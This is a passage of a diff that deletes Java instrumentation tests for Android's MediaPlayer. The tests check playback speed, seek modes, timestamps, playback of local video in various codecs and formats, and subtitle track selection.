-        assertNotNull(rotation);
-        assertEquals(Integer.parseInt(rotation), angle);
-    }
-
-    // setPlaybackParams() with non-zero speed should start playback.
-    public void testSetPlaybackParamsPositiveSpeed() throws Exception {
-        if (!checkLoadResource(
-                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
-            return; // skip
-        }
-
-        mMediaPlayer.setOnSeekCompleteListener(new MediaPlayer.OnSeekCompleteListener() {
-            @Override
-            public void onSeekComplete(MediaPlayer mp) {
-                mOnSeekCompleteCalled.signal();
-            }
-        });
-        mOnCompletionCalled.reset();
-        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer mp) {
-                mOnCompletionCalled.signal();
-            }
-        });
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-
-        mMediaPlayer.prepare();
-
-        mOnSeekCompleteCalled.reset();
-        mMediaPlayer.seekTo(0);
-        mOnSeekCompleteCalled.waitForSignal();
-
-        final float playbackRate = 1.0f;
-
-        int playTime = 2000;  // The testing clip is about 10 second long.
-        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
-        assertTrue("MediaPlayer should be playing", mMediaPlayer.isPlaying());
-        Thread.sleep(playTime);
-        assertTrue("MediaPlayer should still be playing",
-                mMediaPlayer.getCurrentPosition() > 0);
-
-        int duration = mMediaPlayer.getDuration();
-        mOnSeekCompleteCalled.reset();
-        mMediaPlayer.seekTo(duration - 1000);
-        mOnSeekCompleteCalled.waitForSignal();
-
-        mOnCompletionCalled.waitForSignal();
-        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
-        int eosPosition = mMediaPlayer.getCurrentPosition();
-
-        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
-        assertTrue("MediaPlayer should be playing after EOS", mMediaPlayer.isPlaying());
-        Thread.sleep(playTime);
-        int position = mMediaPlayer.getCurrentPosition();
-        assertTrue("MediaPlayer should still be playing after EOS",
-                position > 0 && position < eosPosition);
-
-        mMediaPlayer.stop();
-    }
-
-    // setPlaybackParams() with zero speed should pause playback.
-    public void testSetPlaybackParamsZeroSpeed() throws Exception {
-        if (!checkLoadResource(
-                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
-            return; // skip
-        }
-
-        mMediaPlayer.setOnSeekCompleteListener(new MediaPlayer.OnSeekCompleteListener() {
-            @Override
-            public void onSeekComplete(MediaPlayer mp) {
-                mOnSeekCompleteCalled.signal();
-            }
-        });
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-
-        mMediaPlayer.prepare();
-
-        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(0.0f));
-        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
-
-        int playTime = 2000;  // The testing clip is about 10 second long.
-        mOnSeekCompleteCalled.reset();
-        mMediaPlayer.seekTo(0);
-        mOnSeekCompleteCalled.waitForSignal();
-        Thread.sleep(playTime);
-        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
-        assertTrue("MediaPlayer position should be 0", mMediaPlayer.getCurrentPosition() == 0);
-
-        mMediaPlayer.start();
-        Thread.sleep(playTime);
-        assertTrue("MediaPlayer should be playing", mMediaPlayer.isPlaying());
-        assertTrue("MediaPlayer position should be > 0", mMediaPlayer.getCurrentPosition() > 0);
-
-        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(0.0f));
-        assertFalse("MediaPlayer should not be playing", mMediaPlayer.isPlaying());
-        Thread.sleep(1000);
-        int position = mMediaPlayer.getCurrentPosition();
-        Thread.sleep(playTime);
-        assertTrue("MediaPlayer should be paused", mMediaPlayer.getCurrentPosition() == position);
-
-        mMediaPlayer.stop();
-    }
-
-    public void testPlaybackRate() throws Exception {
-        final int toleranceMs = 1000;
-        if (!checkLoadResource(
-                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
-            return; // skip
-        }
-
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-        mMediaPlayer.prepare();
-        SyncParams sync = new SyncParams().allowDefaults();
-        mMediaPlayer.setSyncParams(sync);
-        sync = mMediaPlayer.getSyncParams();
-
-        float[] rates = { 0.25f, 0.5f, 1.0f, 2.0f };
-        for (float playbackRate : rates) {
-            mMediaPlayer.seekTo(0);
-            Thread.sleep(1000);
-            int playTime = 4000;  // The testing clip is about 10 second long.
-            mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
-            mMediaPlayer.start();
-            Thread.sleep(playTime);
-            PlaybackParams pbp = mMediaPlayer.getPlaybackParams();
-            assertEquals(
-                    playbackRate, pbp.getSpeed(),
-                    FLOAT_TOLERANCE + playbackRate * sync.getTolerance());
-            assertTrue("MediaPlayer should still be playing", mMediaPlayer.isPlaying());
-
-            int playedMediaDurationMs = mMediaPlayer.getCurrentPosition();
-            int diff = Math.abs((int)(playedMediaDurationMs / playbackRate) - playTime);
-            if (diff > toleranceMs) {
-                fail("Media player had error in playback rate " + playbackRate
-                     + ", play time is " + playTime + " vs expected " + playedMediaDurationMs);
-            }
-            mMediaPlayer.pause();
-            pbp = mMediaPlayer.getPlaybackParams();
-            assertEquals(0.f, pbp.getSpeed(), FLOAT_TOLERANCE);
-        }
-        mMediaPlayer.stop();
-    }
-
-    @Presubmit
-    public void testSeekModes() throws Exception {
-        // This clip has 2 I frames at 66687us and 4299687us.
-        if (!checkLoadResource(
-                "bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4")) {
-            return; // skip
-        }
-
-        mMediaPlayer.setOnSeekCompleteListener(new MediaPlayer.OnSeekCompleteListener() {
-            @Override
-            public void onSeekComplete(MediaPlayer mp) {
-                mOnSeekCompleteCalled.signal();
-            }
-        });
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-        mMediaPlayer.prepare();
-        mOnSeekCompleteCalled.reset();
-        mMediaPlayer.start();
-
-        final int seekPosMs = 3000;
-        final int timeToleranceMs = 100;
-        final int syncTime1Ms = 67;
-        final int syncTime2Ms = 4300;
-
-        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
-        // seek to previous sync or next sync.
-        int cp = runSeekMode(MediaPlayer.SEEK_CLOSEST, seekPosMs);
-        assertTrue("MediaPlayer did not seek to closest position",
-                cp > seekPosMs && cp < syncTime2Ms);
-
-        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
-        // seek to closest position or next sync.
-        cp = runSeekMode(MediaPlayer.SEEK_PREVIOUS_SYNC, seekPosMs);
-        assertTrue("MediaPlayer did not seek to preivous sync position",
-                cp < seekPosMs - timeToleranceMs);
-
-        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
-        // seek to closest position or previous sync.
-        cp = runSeekMode(MediaPlayer.SEEK_NEXT_SYNC, seekPosMs);
-        assertTrue("MediaPlayer did not seek to next sync position",
-                cp > syncTime2Ms - timeToleranceMs);
-
-        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
-        // seek to closest position or previous sync.
-        cp = runSeekMode(MediaPlayer.SEEK_CLOSEST_SYNC, seekPosMs);
-        assertTrue("MediaPlayer did not seek to closest sync position",
-                cp > syncTime2Ms - timeToleranceMs);
-
-        mMediaPlayer.stop();
-    }
-
-    private int runSeekMode(int seekMode, int seekPosMs) throws Exception {
-        final int sleepIntervalMs = 100;
-        int timeRemainedMs = 10000;  // total time for testing
-        final int timeToleranceMs = 100;
-
-        mMediaPlayer.seekTo(seekPosMs, seekMode);
-        mOnSeekCompleteCalled.waitForSignal();
-        mOnSeekCompleteCalled.reset();
-        int cp = -seekPosMs;
-        while (timeRemainedMs > 0) {
-            cp = mMediaPlayer.getCurrentPosition();
-            // Wait till MediaPlayer starts rendering since MediaPlayer caches
-            // seek position as current position.
-            if (cp < seekPosMs - timeToleranceMs || cp > seekPosMs + timeToleranceMs) {
-                break;
-            }
-            timeRemainedMs -= sleepIntervalMs;
-            Thread.sleep(sleepIntervalMs);
-        }
-        assertTrue("MediaPlayer did not finish seeking in time for mode " + seekMode,
-                timeRemainedMs > 0);
-        return cp;
-    }
-
-    public void testGetTimestamp() throws Exception {
-        final int toleranceUs = 100000;
-        final float playbackRate = 1.0f;
-        if (!checkLoadResource(
-                "video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4")) {
-            return; // skip
-        }
-
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-        mMediaPlayer.prepare();
-        mMediaPlayer.start();
-        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
-        Thread.sleep(SLEEP_TIME);  // let player get into stable state.
-        long nt1 = System.nanoTime();
-        MediaTimestamp ts1 = mMediaPlayer.getTimestamp();
-        long nt2 = System.nanoTime();
-        assertTrue("Media player should return a valid time stamp", ts1 != null);
-        assertEquals("MediaPlayer had error in clockRate " + ts1.getMediaClockRate(),
-                playbackRate, ts1.getMediaClockRate(), 0.001f);
-        assertTrue("The nanoTime of Media timestamp should be taken when getTimestamp is called.",
-                nt1 <= ts1.getAnchorSystemNanoTime() && ts1.getAnchorSystemNanoTime() <= nt2);
-
-        mMediaPlayer.pause();
-        ts1 = mMediaPlayer.getTimestamp();
-        assertTrue("Media player should return a valid time stamp", ts1 != null);
-        assertTrue("Media player should have play rate of 0.0f when paused",
-                ts1.getMediaClockRate() == 0.0f);
-
-        mMediaPlayer.seekTo(0);
-        mMediaPlayer.start();
-        Thread.sleep(SLEEP_TIME);  // let player get into stable state.
-        int playTime = 4000;  // The testing clip is about 10 second long.
-        ts1 = mMediaPlayer.getTimestamp();
-        assertTrue("Media player should return a valid time stamp", ts1 != null);
-        Thread.sleep(playTime);
-        MediaTimestamp ts2 = mMediaPlayer.getTimestamp();
-        assertTrue("Media player should return a valid time stamp", ts2 != null);
-        assertTrue("The clockRate should not be changed.",
-                ts1.getMediaClockRate() == ts2.getMediaClockRate());
-        assertEquals("MediaPlayer had error in timestamp.",
-                ts1.getAnchorMediaTimeUs() + (long)(playTime * ts1.getMediaClockRate() * 1000),
-                ts2.getAnchorMediaTimeUs(), toleranceUs);
-
-        mMediaPlayer.stop();
-    }
-
-    public void testMediaTimeDiscontinuity() throws Exception {
-        if (!checkLoadResource(
-                "bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4")) {
-            return; // skip
-        }
-
-        mMediaPlayer.setOnSeekCompleteListener(
-                new MediaPlayer.OnSeekCompleteListener() {
-                    @Override
-                    public void onSeekComplete(MediaPlayer mp) {
-                        mOnSeekCompleteCalled.signal();
-                    }
-                });
-        final BlockingDeque<MediaTimestamp> timestamps = new LinkedBlockingDeque<>();
-        mMediaPlayer.setOnMediaTimeDiscontinuityListener(
-                new MediaPlayer.OnMediaTimeDiscontinuityListener() {
-                    @Override
-                    public void onMediaTimeDiscontinuity(MediaPlayer mp, MediaTimestamp timestamp) {
-                        mOnMediaTimeDiscontinuityCalled.signal();
-                        timestamps.add(timestamp);
-                    }
-                });
-        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
-        mMediaPlayer.prepare();
-
-        // Timestamp needs to be reported when playback starts.
-        mOnMediaTimeDiscontinuityCalled.reset();
-        mMediaPlayer.start();
-        do {
-            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
-        } while (timestamps.getLast().getMediaClockRate() != 1.0f);
-
-        // Timestamp needs to be reported when seeking is done.
-        mOnSeekCompleteCalled.reset();
-        mOnMediaTimeDiscontinuityCalled.reset();
-        mMediaPlayer.seekTo(3000);
-        mOnSeekCompleteCalled.waitForSignal();
-        do {
-            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
-        } while (timestamps.getLast().getMediaClockRate() != 1.0f);
-
-        // Timestamp needs to be updated when playback rate changes.
-        mOnMediaTimeDiscontinuityCalled.reset();
-        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(0.5f));
-        do {
-            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
-        } while (timestamps.getLast().getMediaClockRate() != 0.5f);
-
-        // Timestamp needs to be updated when player is paused.
-        mOnMediaTimeDiscontinuityCalled.reset();
-        mMediaPlayer.pause();
-        do {
-            assertTrue(mOnMediaTimeDiscontinuityCalled.waitForSignal(1000));
-        } while (timestamps.getLast().getMediaClockRate() != 0.0f);
-
-        // Check if there is no more notification after clearing listener.
-        mMediaPlayer.clearOnMediaTimeDiscontinuityListener();
-        mMediaPlayer.start();
-        mOnMediaTimeDiscontinuityCalled.reset();
-        Thread.sleep(1000);
-        assertEquals(0, mOnMediaTimeDiscontinuityCalled.getNumSignal());
-
-        mMediaPlayer.reset();
-    }
-
-    public void testLocalVideo_MKV_H265_1280x720_500kbps_25fps_AAC_Stereo_128kbps_44100Hz()
-            throws Exception {
-        playLoadedVideoTest("video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv",
-                1280, 720);
-    }
-    public void testLocalVideo_MP4_H264_480x360_500kbps_25fps_AAC_Stereo_128kbps_44110Hz()
-            throws Exception {
-        playLoadedVideoTest("video_480x360_mp4_h264_500kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                480, 360);
-    }
-
-    public void testLocalVideo_MP4_H264_480x360_500kbps_30fps_AAC_Stereo_128kbps_44110Hz()
-            throws Exception {
-        playLoadedVideoTest("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
-                480, 360);
-    }
-
-    public void testLocalVideo_MP4_H264_480x360_1000kbps_25fps_AAC_Stereo_128kbps_44110Hz()
-            throws Exception {
-        playLoadedVideoTest("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                480, 360);
-    }
-
-    public void testLocalVideo_MP4_H264_480x360_1000kbps_30fps_AAC_Stereo_128kbps_44110Hz()
-            throws Exception {
-        playLoadedVideoTest("video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
-                480, 360);
-    }
-
-    public void testLocalVideo_MP4_H264_480x360_1350kbps_25fps_AAC_Stereo_128kbps_44110Hz()
-            throws Exception {
-        playLoadedVideoTest("video_480x360_mp4_h264_1350kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                480, 360);
-    }
-
-    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz()
-            throws Exception {
-        playLoadedVideoTest("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
-                480, 360);
-    }
-
-    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz_frag()
-            throws Exception {
-        playLoadedVideoTest(
-                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4",
-                480, 360);
-    }
-
-
-    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_192kbps_44110Hz()
-            throws Exception {
-        playLoadedVideoTest("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4",
-                480, 360);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_22050hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_11025hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_22050hz.3gp", 176,
-                144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_11025Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_22050Hz()
-            throws Exception {
-        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_22050hz.3gp",
-                176, 144);
-    }
-
-    public void testLocalVideo_cp1251_3_a_ms_acm_mp3() throws Exception {
-        playLoadedVideoTest("cp1251_3_a_ms_acm_mp3.mkv", -1, -1);
-    }
-
-    public void testLocalVideo_mkv_audio_pcm_be() throws Exception {
-        playLoadedVideoTest("mkv_audio_pcms16be.mkv", -1, -1);
-    }
-
-    public void testLocalVideo_mkv_audio_pcm_le() throws Exception {
-        playLoadedVideoTest("mkv_audio_pcms16le.mkv", -1, -1);
-    }
-
-    public void testLocalVideo_segment000001_m2ts()
-            throws Exception {
-        if (checkLoadResource("segment000001.ts")) {
-            mMediaPlayer.stop();
-            assertTrue(checkLoadResource("segment000001_m2ts.mp4"));
-            playLoadedVideo(320, 240, 0);
-        } else {
-            MediaUtils.skipTest("no mp2 support, skipping m2ts");
-        }
-    }
-
-    private void readSubtitleTracks() throws Exception {
-        mSubtitleTrackIndex.clear();
-        MediaPlayer.TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
-        if (trackInfos == null || trackInfos.length == 0) {
-            return;
-        }
-
-        Vector<Integer> subtitleTrackIndex = new Vector<>();
-        for (int i = 0; i < trackInfos.length; ++i) {
-            assertTrue(trackInfos[i] != null);
-            if (trackInfos[i].getTrackType() == MediaPlayer.TrackInfo.MEDIA_TRACK_TYPE_SUBTITLE) {
-                subtitleTrackIndex.add(i);
-            }
-        }
-
-        mSubtitleTrackIndex.addAll(subtitleTrackIndex);
-    }
-
-    private void selectSubtitleTrack(int index) throws Exception {
-        int trackIndex = mSubtitleTrackIndex.get(index);
-        mMediaPlayer.selectTrack(trackIndex);
-        mSelectedSubtitleIndex = index;
-    }
-
-    private void deselectSubtitleTrack(int index) throws Exception {
-        int trackIndex = mSubtitleTrackIndex.get(index);
-        mMediaPlayer.deselectTrack(trackIndex);
-        if (mSelectedSubtitleIndex == index) {
-            mSelectedSubtitleIndex = -1;
-        }
-    }
-
-    public void testDeselectTrackForSubtitleTracks() throws Throwable {
-        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
-            return; // skip;
-        }
-
-        getInstrumentation().waitForIdleSync();
-
-        mMediaPlayer.setOnSubtitleDataListener(new MediaPlayer.OnSubtitleDataListener() {
-            @Override
-            public void onSubtitleData(MediaPlayer mp, SubtitleData data) {
-                if (data != null && data.getData() != null) {
-                    mOnSubtitleDataCalled.signal();
-                }
-            }
-        });
-        mMediaPlayer.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-            @Override
-            public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
-                    mOnInfoCalled.signal();
-                }
-                return false;
-            }
-        });
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-        mMediaPlayer.prepare();
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Closed caption tracks are in-band.
-        // So, those tracks will be found after processing a number of frames.
-        mOnInfoCalled.waitForSignal(1500);
-
-        mOnInfoCalled.reset();
-        mOnInfoCalled.waitForSignal(1500);
-
-        readSubtitleTracks();
-
-        // Run twice to check if repeated selection-deselection on the same track works well.
-        for (int i = 0; i < 2; i++) {
-            // Waits until at least one subtitle is fired. Timeout is 2.5 seconds.
-            selectSubtitleTrack(i);
-            mOnSubtitleDataCalled.reset();
-            assertTrue(mOnSubtitleDataCalled.waitForSignal(2500));
-
-            // Try deselecting track.
-            deselectSubtitleTrack(i);
-            mOnSubtitleDataCalled.reset();
-            assertFalse(mOnSubtitleDataCalled.waitForSignal(1500));
-        }
-
-        try {
-            deselectSubtitleTrack(0);
-            fail("Deselecting unselected track: expected RuntimeException, " +
-                 "but no exception has been triggered.");
-        } catch (RuntimeException e) {
-            // expected
-        }
-
-        mMediaPlayer.stop();
-    }
-
-    public void testChangeSubtitleTrack() throws Throwable {
-        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
-            return; // skip;
-        }
-
-        mMediaPlayer.setOnSubtitleDataListener(new MediaPlayer.OnSubtitleDataListener() {
-            @Override
-            public void onSubtitleData(MediaPlayer mp, SubtitleData data) {
-                if (data != null && data.getData() != null) {
-                    mOnSubtitleDataCalled.signal();
-                }
-            }
-        });
-        mMediaPlayer.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-            @Override
-            public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
-                    mOnInfoCalled.signal();
-                }
-                return false;
-            }
-        });
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-        mMediaPlayer.prepare();
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Closed caption tracks are in-band.
-        // So, those tracks will be found after processing a number of frames.
-        mOnInfoCalled.waitForSignal(1500);
-
-        mOnInfoCalled.reset();
-        mOnInfoCalled.waitForSignal(1500);
-
-        readSubtitleTracks();
-
-        // Waits until at least two captions are fired. Timeout is 2.5 sec.
-        selectSubtitleTrack(0);
-        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
-
-        mOnSubtitleDataCalled.reset();
-        selectSubtitleTrack(1);
-        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
-
-        mMediaPlayer.stop();
-    }
-
-    public void testOnSubtitleDataListener() throws Throwable {
-        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
-            return; // skip;
-        }
-
-        mMediaPlayer.setOnSubtitleDataListener(new MediaPlayer.OnSubtitleDataListener() {
-            @Override
-            public void onSubtitleData(MediaPlayer mp, SubtitleData data) {
-                if (data != null && data.getData() != null
-                        && data.getTrackIndex() == mSubtitleTrackIndex.get(0)) {
-                    mOnSubtitleDataCalled.signal();
-                }
-            }
-        });
-        mMediaPlayer.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-            @Override
-            public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
-                    mOnInfoCalled.signal();
-                }
-                return false;
-            }
-        });
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-        mMediaPlayer.prepare();
-        mMediaPlayer.start();
-        assertTrue(mMediaPlayer.isPlaying());
-
-        // Closed caption tracks are in-band.
-        // So, those tracks will be found after processing a number of frames.
-        mOnInfoCalled.waitForSignal(1500);
-
-        mOnInfoCalled.reset();
-        mOnInfoCalled.waitForSignal(1500);
-
-        readSubtitleTracks();
-
-        // Waits until at least two captions are fired. Timeout is 2.5 sec.
-        selectSubtitleTrack(0);
-        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
-
-        // Check if there is no more notification after clearing listener.
-        mMediaPlayer.clearOnSubtitleDataListener();
-        mMediaPlayer.seekTo(0);
-        mMediaPlayer.start();
-        mOnSubtitleDataCalled.reset();
-        Thread.sleep(2500);
-        assertEquals(0, mOnSubtitleDataCalled.getNumSignal());
-
-        mMediaPlayer.stop();
-    }
-
-    @Presubmit
-    public void testGetTrackInfoForVideoWithSubtitleTracks() throws Throwable {
-        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
-            return; // skip;
-        }
-
-        getInstrumentation().waitForIdleSync();
-
-        mMediaPlayer.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-            @Override
-            public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
-                    mOnInfoCalled.signal();
-                }
-                return false;
-            }
-        });
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
